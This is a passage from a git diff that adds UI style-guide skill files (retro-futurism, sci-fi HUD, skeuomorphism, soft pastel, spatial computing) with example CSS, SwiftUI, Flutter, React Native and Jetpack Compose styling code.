style: TextStyle(fontFamily: 'Futura', fontSize: 16)), + ], + ), + ); + } +} +``` +- Flutter handles asymmetric corners natively via `BorderRadius.only()`. +- Gradient borders (for chrome) require a `CustomPaint` or wrapping the container in another container with a gradient background and padding. + +### React Native +```jsx +const RetroFutureCard = () => { + return ( + + + ATOMPUNK + + + Sleek chrome and sweeping curves. + + + ); +}; +``` +- React Native natively supports `borderTopLeftRadius` style independent props, making the aerodynamic shapes trivial. +- Complex geometric backgrounds (like starbursts) should definitely be SVG components imported via `react-native-svg`. + +### Jetpack Compose +```kotlin +@Composable +fun RetroFutureCard() { + Box( + modifier = Modifier + .padding(24.dp) + // Fake hard shadow + .drawBehind { + drawRoundRect( + color = Color.Black.copy(alpha = 0.1f), + topLeft = Offset(15.dp.toPx(), 15.dp.toPx()), + size = size, + cornerRadius = CornerRadius(40.dp.toPx(), 10.dp.toPx()) // Simplification + ) + } + .background( + color = Color.White, + // Aerodynamic asymmetric corners + shape = RoundedCornerShape( + topStart = 40.dp, + topEnd = 10.dp, + bottomEnd = 40.dp, + bottomStart = 10.dp + ) + ) + .border( + width = 4.dp, + brush = Brush.verticalGradient(listOf(Color.LightGray, Color.White, Color.LightGray)), + shape = RoundedCornerShape( + topStart = 40.dp, + topEnd = 10.dp, + bottomEnd = 40.dp, + bottomStart = 10.dp + ) + ) + .padding(32.dp) + ) { + Column { + Text("ATOMPUNK", + fontFamily = FontFamily.SansSerif, // Replace with Futura + fontSize = 28.sp, fontWeight = FontWeight.Bold, color = Color(0xFF2F4F4F)) + Spacer(Modifier.height(16.dp)) + Text("Sleek chrome and sweeping curves.", fontSize = 16.sp) + } + } +} +``` +- Use `RoundedCornerShape(topStart, topEnd, bottomEnd, bottomStart)` to create the atompunk aesthetic. +- The `Modifier.border` takes a `Brush` natively, making the metallic chrome gradient incredibly easy to achieve compared to other frameworks. + +## Do's and Don'ts +- **DO**: Use strict `Futura` or `Century Gothic` for a very authentic mid-century feel. +- **DON'T**: Make the UI look dirty or distressed (that's standard retro or steampunk). Retro-futurism is clean, optimistic, and shiny. + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/sci-fi-interface/SKILL.md b/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/sci-fi-interface/SKILL.md new file mode 100644 index 00000000..6c95681f --- /dev/null +++ b/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/sci-fi-interface/SKILL.md @@ -0,0 +1,309 @@ +--- +name: sci-fi-interface +description: Web and App implementation guide for Sci-Fi Interface Design. Trigger when user wants HUDs, spacecraft dashboards, or tactical military readouts. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Sci-Fi Interface Design (HUD) + +> "Heads-Up Display. Tactical, precise, and highly analytical." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Wireframe and Outlines**: Interfaces are built almost entirely out of thin strokes rather than solid filled boxes. +2. **Circular Arrays & Radars**: Heavy use of concentric circles, radar sweeps, and curved progress bars. +3. **Monochrome + Warning**: Often entirely monochromatic (just blue, or just green) with a secondary color (red) used exclusively for alerts. + +## Visual DNA +- **Colors**: Midnight background. UI is pure Cyan, Emerald Green, or Amber (like classic monochrome monitors). **Minimalist Slate** works if made dark. +- **Typography**: Strict, technical monospace fonts (`Share Tech Mono`, `VT323`, `Space Mono`). All caps. +- **Styling**: Tiny UI chroming details (target brackets `[ ]`, framing lines, precise pixel coordinates). + +## Web Implementation +- Heavy use of SVG for circular dials, and CSS borders for the layout. +- **CSS Example**: +```css +body { + background-color: #000b18; /* Deep space navy */ + color: #4df; /* Holographic cyan */ + font-family: 'Share Tech Mono', monospace; + text-transform: uppercase; +} + +/* The HUD Frame */ +.hud-container { + border: 1px solid rgba(68, 221, 255, 0.3); + position: relative; + padding: 30px; +} + +/* Corner brackets */ +.hud-container::before { + content: ''; + position: absolute; + top: -2px; left: -2px; + width: 20px; height: 20px; + border-top: 2px solid #4df; + border-left: 2px solid #4df; +} +.hud-container::after { + content: ''; + position: absolute; + bottom: -2px; right: -2px; + width: 20px; height: 20px; + border-bottom: 2px solid #4df; + border-right: 2px solid #4df; +} + +.hud-value { + font-size: 3rem; + text-shadow: 0 0 10px rgba(68, 221, 255, 0.8); +} + +.hud-warning { + color: #ff3333; + text-shadow: 0 0 10px rgba(255, 51, 51, 0.8); + animation: blink 1s step-end infinite; +} + +@keyframes blink { 50% { opacity: 0; } } +``` + +## App Implementation + +### SwiftUI +```swift +struct SciFiHUDView: View { + @State private var bootUp = false + + var body: some View { + ZStack { + Color(hex: "000b18").ignoresSafeArea() // Deep space navy + + VStack { + // Circular Radar/Dial + ZStack { + Circle() + .stroke(Color(hex: "4df").opacity(0.3), lineWidth: 1) + + Circle() + .trim(from: 0.0, to: bootUp ? 0.75 : 0.0) + .stroke(Color(hex: "4df"), style: StrokeStyle(lineWidth: 4, lineCap: .round)) + .rotationEffect(.degrees(-90)) + + Text("SYS.OK") + .font(.custom("Space Mono", size: 24)) + .foregroundColor(Color(hex: "4df")) + .shadow(color: Color(hex: "4df"), radius: 5) + } + .frame(width: 200, height: 200) + .padding(.bottom, 40) + + // HUD Data Frame + HStack { + Text("COORD: 45.22, 12.8") + Spacer() + Text("[ LOCK ]") + } + .font(.custom("Space Mono", size: 16)) + .foregroundColor(Color(hex: "4df")) + .padding() + .border(Color(hex: "4df").opacity(0.5), width: 1) + .overlay( + // Corner bracket accents + Path { path in + path.move(to: CGPoint(x: 0, y: 15)); path.addLine(to: CGPoint(x: 0, y: 0)); path.addLine(to: CGPoint(x: 15, y: 0)) + path.move(to: CGPoint(x: 300, y: 15)); path.addLine(to: CGPoint(x: 300, y: 0)); path.addLine(to: CGPoint(x: 285, y: 0)) + } + .stroke(Color(hex: "4df"), lineWidth: 2) + ) + } + .padding() + } + .onAppear { + withAnimation(.easeInOut(duration: 2.0)) { bootUp = true } + } + } +} +``` +- SwiftUI is uniquely fantastic for Sci-Fi HUDs. `Circle().trim(from: to:)` lets you build complex sweeping circular progress rings. +- Use `Path` overlays to draw the exact 90-degree corner brackets (`[ ]`) that define the HUD look. + +### Flutter +```dart +class SciFiHUDScreen extends StatefulWidget { + @override + State createState() => _SciFiHUDScreenState(); +} + +class _SciFiHUDScreenState extends State with SingleTickerProviderStateMixin { + late AnimationController _ctrl; + + @override + void initState() { + super.initState(); + _ctrl = AnimationController(vsync: this, duration: const Duration(seconds: 2))..forward(); + } + + @override + Widget build(BuildContext context) { + return Scaffold( + backgroundColor: const Color(0xFF000B18), + body: Center( + child: Column( + mainAxisAlignment: MainAxisAlignment.center, + children: [ + // Circular Radar + SizedBox( + width: 200, height: 200, + child: Stack( + fit: StackFit.expand, + children: [ + CircularProgressIndicator(value: 1.0, strokeWidth: 1, color: const Color(0xFF44DDFF).withOpacity(0.3)), + AnimatedBuilder( + animation: _ctrl, + builder: (context, _) => CircularProgressIndicator( + value: _ctrl.value * 0.75, // 75% full + strokeWidth: 4, + color: const Color(0xFF44DDFF), + ), + ), + const Center( + child: Text('SYS.OK', style: TextStyle(fontFamily: 'SpaceMono', color: Color(0xFF44DDFF), fontSize: 24, shadows: [Shadow(color: Color(0xFF44DDFF), blurRadius: 5)])), + ) + ], + ), + ), + const SizedBox(height: 40), + + // HUD Data Frame (requires CustomPaint for true corner brackets) + Container( + width: 300, + padding: const EdgeInsets.all(16), + decoration: BoxDecoration(border: Border.all(color: const Color(0xFF44DDFF).withOpacity(0.5))), + child: const Row( + mainAxisAlignment: MainAxisAlignment.spaceBetween, + children: [ + Text('COORD: 45.22, 12.8', style: TextStyle(fontFamily: 'SpaceMono', color: Color(0xFF44DDFF))), + Text('[ LOCK ]', style: TextStyle(fontFamily: 'SpaceMono', color: Color(0xFF44DDFF))), + ], + ), + ) + ], + ), + ), + ); + } +} +``` +- `CircularProgressIndicator` is an easy hack for circular HUD rings, but for true Sci-Fi interfaces in Flutter, you should build a `CustomPainter` to draw concentric stroked circles and arcs. +- Heavy use of monospace fonts and pure cyan (`#44DDFF`). + +### React Native +```jsx +// Requires react-native-svg +import Svg, { Circle, Path } from 'react-native-svg'; + +const SciFiHUDScreen = () => { + return ( + + + {/* Circular Radar */} + + + + + + + SYS.OK + + + + {/* HUD Frame */} + + COORD: 45.22, 12.8 + [ LOCK ] + + {/* Pseudo Corner Brackets using absolute views */} + + + + + + ); +}; +``` +- You absolutely must use `react-native-svg` to draw circular HUD dials. Use `strokeDasharray` and `strokeDashoffset` on the `` to draw arcs. +- The corner brackets are built easily by absolutely positioning small `View`s with 2 active borders over the corners of a container. + +### Jetpack Compose +```kotlin +@Composable +fun SciFiHUDScreen() { + // Animation for boot up + val transition = rememberInfiniteTransition() + val sweep by transition.animateFloat(initialValue = 0f, targetValue = 270f, animationSpec = infiniteRepeatable(tween(2000), RepeatMode.Restart)) + + Column( + modifier = Modifier.fillMaxSize().background(Color(0xFF000B18)), + horizontalAlignment = Alignment.CenterHorizontally, + verticalArrangement = Arrangement.Center + ) { + // Circular Radar + Box(contentAlignment = Alignment.Center, modifier = Modifier.size(200.dp)) { + Canvas(modifier = Modifier.fillMaxSize()) { + drawCircle(color = Color(0xFF44DDFF).copy(alpha = 0.3f), style = Stroke(width = 2f)) + drawArc( + color = Color(0xFF44DDFF), + startAngle = -90f, + sweepAngle = sweep, + useCenter = false, + style = Stroke(width = 8f, cap = StrokeCap.Round) + ) + } + Text("SYS.OK", color = Color(0xFF44DDFF), fontFamily = FontFamily.Monospace, fontSize = 24.sp) + } + + Spacer(Modifier.height(40.dp)) + + // HUD Frame + Box(modifier = Modifier.width(300.dp)) { + Row( + modifier = Modifier.fillMaxWidth().border(1.dp, Color(0xFF44DDFF).copy(alpha = 0.5f)).padding(16.dp), + horizontalArrangement = Arrangement.SpaceBetween + ) { + Text("COORD: 45.22, 12.8", color = Color(0xFF44DDFF), fontFamily = FontFamily.Monospace) + Text("[ LOCK ]", color = Color(0xFF44DDFF), fontFamily = FontFamily.Monospace) + } + + // Corner brackets via Canvas + Canvas(modifier = Modifier.fillMaxSize()) { + val path = Path().apply { + moveTo(0f, 40f); lineTo(0f, 0f); lineTo(40f, 0f) // Top Left + moveTo(size.width, size.height - 40f); lineTo(size.width, size.height); lineTo(size.width - 40f, size.height) // Bottom Right + } + drawPath(path, color = Color(0xFF44DDFF), style = Stroke(width = 4f)) + } + } + } +} +``` +- Jetpack Compose's `Canvas` is incredibly powerful here. Use `drawArc` for the circular HUD rings. +- Draw the corner brackets on a `Canvas` overlaying the Box using `Path().apply { moveTo... lineTo... }`. + +## Do's and Don'ts +- **DO**: Animate elements entering the screen as if they are 'booting up' or 'calibrating' (drawing lines from 0 to 100%). +- **DON'T**: Use drop shadows. Light in a HUD is emitted, not blocked. Use `text-shadow` for glows instead. + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/skeuomorphism/SKILL.md b/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/skeuomorphism/SKILL.md new file mode 100644 index 00000000..1acdf187 --- /dev/null +++ b/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/skeuomorphism/SKILL.md @@ -0,0 +1,280 @@ +--- +name: skeuomorphism +description: Web and App implementation guide for Skeuomorphism. Trigger when user wants UI to mimic real-world objects, realistic textures, or physical metaphors. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Skeuomorphism + +> "Digital interfaces that look and behave like their physical counterparts." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Realistic Textures**: Leather, brushed metal, wood grain, paper. The UI should feel like a physical object you can touch. +2. **Physical Lighting & Depth**: Intense attention to specular highlights, drop shadows, inner shadows, bevels, and ambient occlusion. +3. **Real-world Metaphors**: Switches that look like hardware toggles, dials with physical notches, notepads with binding rings. + +## Visual DNA +- **Colors**: Highly dependent on the material being simulated. For rich, classic skeuomorphism, use the **Industrial Chic** (for metal/hardware) or **Monochromatic Brown** (for wood/leather) palettes. +- **Typography**: Fonts that match the physical object (e.g., typewriter fonts for paper, LCD fonts for digital screens, embossed sans-serifs for hardware buttons). +- **Details**: Screws, stitching, glare, and gradients are your primary tools. + +## Web Implementation +- Heavy use of layered background images (textures), complex gradients, and multiple box-shadows. +- **CSS Example**: +```css +.skeuo-button { + /* Brushed metal effect */ + background: linear-gradient(180deg, #e0e0e0 0%, #a0a0a0 100%), + url('brushed-metal-texture.png'); + background-blend-mode: overlay; + + border: 1px solid #7a7a7a; + border-radius: 50%; + width: 80px; + height: 80px; + + /* Bevel, inner highlight, and drop shadow */ + box-shadow: + inset 0 2px 4px rgba(255,255,255,0.8), /* Top highlight */ + inset 0 -2px 4px rgba(0,0,0,0.4), /* Bottom shading */ + 0 4px 6px rgba(0,0,0,0.5), /* Drop shadow */ + 0 1px 1px rgba(0,0,0,0.2); +} + +.skeuo-button:active { + /* Pressing the physical button */ + box-shadow: + inset 0 4px 8px rgba(0,0,0,0.6), + inset 0 -1px 2px rgba(255,255,255,0.4), + 0 1px 1px rgba(0,0,0,0.2); + transform: translateY(2px); +} +``` + +## App Implementation + +### SwiftUI +```swift +struct SkeuoButton: View { + @State private var isPressed = false + + var body: some View { + Button(action: {}) { + Text("POWER") + .font(.system(size: 14, weight: .bold)) + .foregroundColor(.white) + .textCase(.uppercase) + } + .frame(width: 80, height: 80) + .background( + ZStack { + // Brushed metal base + Circle() + .fill( + LinearGradient( + colors: [Color(white: 0.88), Color(white: 0.63)], + startPoint: .top, + endPoint: .bottom + ) + ) + // Inner highlight (top bevel) + Circle() + .stroke( + LinearGradient( + colors: [.white.opacity(0.8), .clear], + startPoint: .top, + endPoint: .center + ), + lineWidth: 2 + ) + .padding(1) + } + ) + .clipShape(Circle()) + // Outer bezel ring + .overlay(Circle().stroke(Color(white: 0.5), lineWidth: 1)) + // Physical drop shadow + .shadow(color: .black.opacity(isPressed ? 0.2 : 0.5), radius: isPressed ? 2 : 6, + x: 0, y: isPressed ? 1 : 4) + .scaleEffect(isPressed ? 0.96 : 1.0) + .animation(.easeOut(duration: 0.1), value: isPressed) + .simultaneousGesture( + DragGesture(minimumDistance: 0) + .onChanged { _ in isPressed = true } + .onEnded { _ in isPressed = false } + ) + } +} +``` +- Stack multiple shapes (`Circle`, `RoundedRectangle`) with different gradients to build up realistic depth. +- Use `.overlay()` with stroked shapes for highlight bezels along the edges. +- The pressed state should reduce shadow AND scale — simulating a physical push. + +### Flutter +```dart +class SkeuoButton extends StatefulWidget { + @override + State createState() => _SkeuoButtonState(); +} + +class _SkeuoButtonState extends State { + bool _isPressed = false; + + @override + Widget build(BuildContext context) { + return GestureDetector( + onTapDown: (_) => setState(() => _isPressed = true), + onTapUp: (_) => setState(() => _isPressed = false), + onTapCancel: () => setState(() => _isPressed = false), + child: AnimatedContainer( + duration: const Duration(milliseconds: 100), + width: 80, + height: 80, + decoration: BoxDecoration( + shape: BoxShape.circle, + // Brushed metal gradient + gradient: LinearGradient( + colors: [Colors.grey[300]!, Colors.grey[600]!], + begin: Alignment.topCenter, + end: Alignment.bottomCenter, + ), + border: Border.all(color: Colors.grey[500]!, width: 1), + boxShadow: [ + // Outer drop shadow + BoxShadow( + color: Colors.black.withOpacity(_isPressed ? 0.2 : 0.5), + blurRadius: _isPressed ? 4 : 12, + offset: Offset(0, _isPressed ? 2 : 6), + ), + // Inner top highlight (faked with a light inset) + BoxShadow( + color: Colors.white.withOpacity(0.6), + blurRadius: 1, + offset: const Offset(0, -1), + spreadRadius: -1, + ), + ], + ), + transform: Matrix4.identity()..scale(_isPressed ? 0.96 : 1.0), + alignment: Alignment.center, + child: const Text('POWER', + style: TextStyle(color: Colors.white, fontWeight: FontWeight.bold, + fontSize: 14, shadows: [ + Shadow(color: Colors.black54, offset: Offset(0, 1), blurRadius: 2), + ])), + ), + ); + } +} +``` +- Use `AnimatedContainer` for smooth press transitions. Adjust `boxShadow`, `transform`, and gradient on tap. +- Layer `BoxShadow` entries: one for the outer drop shadow, one for the inner top-edge highlight. +- For complex textures (leather, wood), use `DecorationImage` with an asset file inside `BoxDecoration`. + +### React Native +```jsx +const SkeuoButton = () => { + const [pressed, setPressed] = useState(false); + + return ( + setPressed(true)} + onPressOut={() => setPressed(false)} + style={{ + width: 80, + height: 80, + borderRadius: 40, + alignItems: 'center', + justifyContent: 'center', + // Metal gradient must be done via an image or LinearGradient component + backgroundColor: '#A0A0A0', + borderWidth: 1, + borderColor: '#7A7A7A', + // Shadow changes on press + shadowColor: '#000', + shadowOffset: { width: 0, height: pressed ? 1 : 4 }, + shadowOpacity: pressed ? 0.2 : 0.5, + shadowRadius: pressed ? 2 : 6, + elevation: pressed ? 2 : 8, + transform: [{ scale: pressed ? 0.96 : 1 }], + }} + > + + POWER + + + ); +}; +``` +- For realistic textures, use `ImageBackground` with exported texture assets (leather.png, brushed-metal.png). +- Use `Pressable` with `onPressIn`/`onPressOut` to animate shadow depth, scale, and opacity changes. +- Complex gradient bevels require `react-native-linear-gradient` or `expo-linear-gradient`. + +### Jetpack Compose +```kotlin +@Composable +fun SkeuoButton() { + var isPressed by remember { mutableStateOf(false) } + val scale by animateFloatAsState(if (isPressed) 0.96f else 1f) + val elevation by animateDpAsState(if (isPressed) 2.dp else 8.dp) + + Box( + modifier = Modifier + .size(80.dp) + .graphicsLayer { scaleX = scale; scaleY = scale } + .shadow(elevation, CircleShape) + .clip(CircleShape) + .background( + Brush.verticalGradient( + colors = listOf(Color(0xFFE0E0E0), Color(0xFFA0A0A0)) + ) + ) + .border(1.dp, Color(0xFF7A7A7A), CircleShape) + .pointerInput(Unit) { + detectTapGestures( + onPress = { + isPressed = true + tryAwaitRelease() + isPressed = false + } + ) + }, + contentAlignment = Alignment.Center, + ) { + Text("POWER", + color = Color.White, + fontWeight = FontWeight.Bold, + fontSize = 14.sp, + style = TextStyle(shadow = Shadow( + color = Color.Black.copy(alpha = 0.5f), + offset = Offset(0f, 2f), + blurRadius = 4f, + ))) + } +} +``` +- Use `Brush.verticalGradient()` for metallic surfaces and `Modifier.border()` with `CircleShape` for bezels. +- Animate `shadow` elevation and `graphicsLayer { scaleX/scaleY }` on press for realistic physical push. +- For textures, use `Modifier.paint(painterResource(R.drawable.brushed_metal))` as a background. + +## Do's and Don'ts +- **DO**: Ensure the metaphor makes sense for the user's task. +- **DON'T**: Overuse it to the point of clutter. Keep the interactive elements highly realistic, but let the structural layout remain clean. + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/soft-pastel/SKILL.md b/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/soft-pastel/SKILL.md new file mode 100644 index 00000000..c013f8b6 --- /dev/null +++ b/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/soft-pastel/SKILL.md @@ -0,0 +1,307 @@ +--- +name: soft-pastel +description: Web and App implementation guide for Soft Pastel Design. Trigger when user wants gentle colors, calming UI, baby/lifestyle branding, or low-contrast aesthetics. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Soft Pastel Design + +> "Calm, airy, and gentle. A low-stress interface built on washed-out, cheerful hues." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Desaturated, High-Lightness Colors**: Every color is mixed with a heavy amount of white. +2. **Soft, Rounded Edges**: Border radii are large and friendly. +3. **Airy Spacing**: Generous whitespace prevents the soft colors from feeling muddy or crowded. + +## Visual DNA +- **Colors**: Mint green, baby blue, blush pink, lavender, and buttercream yellow. Use a warm, slightly off-white background (e.g., `#FFFBF7`) rather than clinical `#FFFFFF`. +- **Typography**: Soft, rounded sans-serifs (`Quicksand`, `Nunito`) or elegant, low-contrast serifs. Avoid aggressive, ultra-bold fonts. +- **Shadows**: Very soft, large-spread shadows, often tinted with the pastel color rather than black. + +## Web Implementation +- **CSS Example**: +```css +:root { + --pastel-bg: #FFFBF7; + --pastel-pink: #FFD1DC; + --pastel-blue: #AEC6CF; + --pastel-green: #B7E4C7; + --pastel-text: #4A4A4A; /* Soft dark grey, NOT pure black */ +} + +body { + background-color: var(--pastel-bg); + color: var(--pastel-text); + font-family: 'Nunito', sans-serif; + line-height: 1.6; +} + +.pastel-card { + background-color: #ffffff; + border-radius: 24px; + padding: 40px; + /* Tinted, very soft shadow */ + box-shadow: 0 20px 40px rgba(174, 198, 207, 0.15); +} + +.pastel-pill { + background-color: var(--pastel-pink); + color: #a05a6c; /* Darker version of the pink for contrast */ + border-radius: 50px; + padding: 8px 24px; + font-weight: 700; + display: inline-block; +} + +.pastel-btn { + background-color: var(--pastel-blue); + color: #2b5563; /* Darker text */ + border: none; + border-radius: 12px; + padding: 16px 32px; + transition: transform 0.2s; +} +.pastel-btn:hover { + transform: translateY(-2px); + box-shadow: 0 10px 20px rgba(174, 198, 207, 0.4); +} +``` + +## App Implementation + +### SwiftUI +```swift +struct SoftPastelView: View { + // Pastel Palette + let bg = Color(hex: "FFFBF7") + let pink = Color(hex: "FFD1DC") + let blue = Color(hex: "AEC6CF") + let textDark = Color(hex: "4A4A4A") + + var body: some View { + ScrollView { + VStack(spacing: 32) { + // Pastel Card + VStack(alignment: .leading, spacing: 16) { + Text("Calm & Airy") + .font(.custom("Nunito-Bold", size: 28)) + .foregroundColor(textDark) + + Text("Generous whitespace and soft corners prevent the desaturated colors from feeling muddy.") + .font(.custom("Nunito-Regular", size: 16)) + .foregroundColor(textDark.opacity(0.8)) + .lineSpacing(6) + } + .padding(40) + .frame(maxWidth: .infinity, alignment: .leading) + .background(Color.white) + .cornerRadius(32) // Soft, large radius + // Tinted pastel shadow instead of black/gray + .shadow(color: blue.opacity(0.2), radius: 30, y: 15) + + // Pastel Button + Button(action: {}) { + Text("Gentle Action") + .font(.custom("Nunito-Bold", size: 18)) + .foregroundColor(Color(hex: "2B5563")) // Darker contrast of the blue + .frame(maxWidth: .infinity) + .padding(.vertical, 20) + .background(blue) + .cornerRadius(20) + } + } + .padding(24) + } + .background(bg.ignoresSafeArea()) + } +} +``` +- A custom font like Nunito or Quicksand is practically required. System fonts are often too rigid. +- The `shadow(color:)` must be tinted with one of your pastel palette colors, never black or gray. +- Corner radii should be very large (20-32). + +### Flutter +```dart +class SoftPastelScreen extends StatelessWidget { + final Color bg = const Color(0xFFFFFBF7); + final Color pink = const Color(0xFFFFD1DC); + final Color blue = const Color(0xFFAEC6CF); + final Color textDark = const Color(0xFF4A4A4A); + + @override + Widget build(BuildContext context) { + return Scaffold( + backgroundColor: bg, + body: SingleChildScrollView( + padding: const EdgeInsets.all(24.0), + child: Column( + children: [ + // Pastel Card + Container( + width: double.infinity, + padding: const EdgeInsets.all(40), + decoration: BoxDecoration( + color: Colors.white, + borderRadius: BorderRadius.circular(32), // Soft edges + boxShadow: [ + // Tinted shadow + BoxShadow(color: blue.withOpacity(0.2), blurRadius: 30, offset: const Offset(0, 15)) + ], + ), + child: Column( + crossAxisAlignment: CrossAxisAlignment.start, + children: [ + Text('Calm & Airy', style: TextStyle(fontFamily: 'Nunito', fontSize: 28, fontWeight: FontWeight.bold, color: textDark)), + const SizedBox(height: 16), + Text('Generous whitespace and soft corners.', style: TextStyle(fontFamily: 'Nunito', fontSize: 16, height: 1.6, color: textDark.withOpacity(0.8))), + ], + ), + ), + const SizedBox(height: 32), + + // Pastel Button + ElevatedButton( + onPressed: () {}, + style: ElevatedButton.styleFrom( + backgroundColor: blue, + foregroundColor: const Color(0xFF2B5563), // Darker text for contrast + minimumSize: const Size(double.infinity, 60), + shape: RoundedRectangleBorder(borderRadius: BorderRadius.circular(20)), + elevation: 0, // Remove default harsh shadow + ), + child: const Text('Gentle Action', style: TextStyle(fontFamily: 'Nunito', fontSize: 18, fontWeight: FontWeight.bold)), + ), + ], + ), + ), + ); + } +} +``` +- Disable `elevation` on Flutter buttons and cards if you want to apply custom tinted drop shadows. Default elevations cast black shadows. + +### React Native +```jsx +const SoftPastelScreen = () => { + const colors = { + bg: '#FFFBF7', + blue: '#AEC6CF', + textDark: '#4A4A4A' + }; + + return ( + + + {/* Pastel Card */} + + + Calm & Airy + + + Generous whitespace and soft corners prevent the desaturated colors from feeling muddy. + + + + {/* Pastel Button */} + + + Gentle Action + + + + + ); +}; +``` +- Make sure you are using a soft, non-pure-white background (`#FFFBF7`) so that pure `#FFFFFF` cards pop nicely against it without harsh borders. +- Tinted shadows work on Android 9+ via `shadowColor` combined with `elevation`. + +### Jetpack Compose +```kotlin +@Composable +fun SoftPastelScreen() { + val bg = Color(0xFFFFFBF7) + val blue = Color(0xFFAEC6CF) + val textDark = Color(0xFF4A4A4A) + + Column( + modifier = Modifier.fillMaxSize().background(bg).verticalScroll(rememberScrollState()).padding(24.dp) + ) { + // Pastel Card + Box( + modifier = Modifier + .fillMaxWidth() + .shadow( + elevation = 20.dp, + shape = RoundedCornerShape(32.dp), + ambientColor = blue, // Tinted shadow + spotColor = blue + ) + .background(Color.White, RoundedCornerShape(32.dp)) + .padding(40.dp) + ) { + Column { + Text( + text = "Calm & Airy", + fontSize = 28.sp, + fontWeight = FontWeight.Bold, + color = textDark, + fontFamily = FontFamily.SansSerif // Replace with Nunito + ) + Spacer(Modifier.height(16.dp)) + Text( + text = "Generous whitespace and soft corners.", + fontSize = 16.sp, + lineHeight = 26.sp, + color = textDark.copy(alpha = 0.8f), + fontFamily = FontFamily.SansSerif + ) + } + } + + Spacer(Modifier.height(32.dp)) + + // Pastel Button + Button( + onClick = { }, + colors = ButtonDefaults.buttonColors(containerColor = blue, contentColor = Color(0xFF2B5563)), + shape = RoundedCornerShape(20.dp), + modifier = Modifier.fillMaxWidth().height(60.dp), + elevation = null + ) { + Text("Gentle Action", fontSize = 18.sp, fontWeight = FontWeight.Bold) + } + } +} +``` +- The `shadow` modifier in Compose takes `ambientColor` and `spotColor`. Set both to your pastel accent color to achieve the soft tinted glow. + +## Do's and Don'ts +- **DO**: Use illustrative assets that match the pastel vibe (flat vectors, soft gradients). +- **DON'T**: Use stark black borders, sharp corners, or high-saturation primary colors. + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/spatial-computing-ui/SKILL.md b/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/spatial-computing-ui/SKILL.md new file mode 100644 index 00000000..571ba96b --- /dev/null +++ b/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/spatial-computing-ui/SKILL.md @@ -0,0 +1,300 @@ +--- +name: spatial-computing-ui +description: Web and App implementation guide for Spatial Computing UI. Trigger when user wants floating elements, environmental awareness, and Apple Vision Pro style. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Spatial Computing UI + +> "A step beyond Spatial Design. Fully 3D windows floating in augmented reality." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Z-Space Hierarchy**: Not just drop shadows, but actual 3D distance. Modals float 10px *in front of* the main window. +2. **Gaze-Based Interaction Cues**: Elements highlight vividly when hovered, anticipating eye-tracking or precise pointer control. +3. **Glass and Light**: Windows are thick sheets of frosted glass that bend light and cast soft shadows onto the physical environment. + +## Visual DNA +- **Colors**: Relies entirely on the background environment. Uses purely translucent whites (`rgba(255,255,255,0.x)`) and blacks. +- **Typography**: `SF Pro`. Heavy use of varied font weights (Regular, Semibold, Bold) to create hierarchy. +- **Shapes**: High border radii (`24px`-`32px`). Everything is a rounded rectangle or a perfect circle. + +## Web Implementation +- Best emulated using CSS 3D transforms to simulate the user's perspective. +- **CSS Example**: +```css +body { + /* Simulate the physical room */ + background: url('living-room.jpg') center/cover; + perspective: 1200px; + display: flex; + justify-content: center; + align-items: center; + height: 100vh; +} + +.spatial-window { + width: 800px; + height: 600px; + border-radius: 32px; + + /* The Glass Material */ + background: rgba(255, 255, 255, 0.15); + backdrop-filter: blur(50px) saturate(200%); + -webkit-backdrop-filter: blur(50px) saturate(200%); + + /* Specular Highlights */ + border: 1px solid rgba(255, 255, 255, 0.4); + box-shadow: + inset 0 1px 2px rgba(255, 255, 255, 0.8), + 0 30px 60px rgba(0, 0, 0, 0.3); + + /* 3D Positioning */ + transform: translateZ(-100px); + transform-style: preserve-3d; +} + +.spatial-modal { + /* Floating in front of the main window */ + position: absolute; + top: 50%; left: 50%; + transform: translate(-50%, -50%) translateZ(50px); + + background: rgba(255, 255, 255, 0.6); /* More opaque */ + backdrop-filter: blur(30px); + border-radius: 24px; + padding: 30px; + box-shadow: 0 20px 40px rgba(0, 0, 0, 0.2); +} + +.spatial-btn { + /* Gaze/Hover interaction */ + background: rgba(0,0,0,0.05); + transition: all 0.2s cubic-bezier(0.2, 0.8, 0.2, 1); +} +.spatial-btn:hover { + background: rgba(255,255,255,0.4); + transform: translateZ(10px) scale(1.05); + box-shadow: 0 10px 20px rgba(0,0,0,0.1); +} +``` + +## App Implementation + +### SwiftUI (visionOS Native / iOS emulation) +```swift +struct SpatialComputingView: View { + var body: some View { + ZStack { + // 